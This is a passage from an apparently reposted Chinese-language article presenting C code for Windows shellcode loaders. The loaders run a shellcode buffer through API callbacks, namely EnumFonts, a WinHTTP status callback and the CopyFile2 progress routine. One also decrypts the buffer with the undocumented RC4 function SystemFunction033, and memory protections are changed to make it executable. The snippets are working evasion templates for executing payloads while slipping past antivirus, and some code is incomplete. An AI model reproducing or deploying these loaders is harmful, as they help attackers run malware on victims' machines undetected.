; struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main(){ _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "yourkey"; unsigned char shellcode[] = { , .... }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0); }

3).HTTP 回调

#include<Windows.h> #include<winhttp.h> #pragma comment(lib,"Winhttp.lib") unsigned char buf[] = "your_shellcode";
int main(INT argc, char* argv[]){
    DWORD lpflOldProtect;
    VirtualProtect(buf, sizeof buf / sizeof buf[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
    HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
    WinHttpCloseHandle(hSession);
    return 0;
}

4).copy 回调

#include <windows.h> #include <iostream> void* GetSbSectionAddress(){
    HMODULE hModule = GetModuleHandle(NULL);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = (pNtHeaders);
    
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSection++) {
        if (memcmp(pSection->Name, ".sb", 3) == 0) {
            return (BYTE*)hModule + pSection->VirtualAddress;
        }
    }
    return NULL;
}

int main(){
    // char path[MAX_PATH]; // GetCurrentDirectoryA(MAX_PATH, path); // char* lastSlash = strrchr(path, '\\'); // if (strcmp(lastSlash + 1,"sb") != 0) // { //     return 0; // } void* sbAddr = GetSbSectionAddress();
    COPYFILE2_EXTENDED_PARAMETERS params;
    params.dwSize = { sizeof(params) };
    params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
    params.pfCancel = FALSE;
    params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)sbAddr;
    params.pvCallbackContext = nullptr;

    ::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
    ::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &params);
    return 0;
}

📌 转载信息
原作者:
Dh_FUN
转载时间:
2026/1/18 08:50:59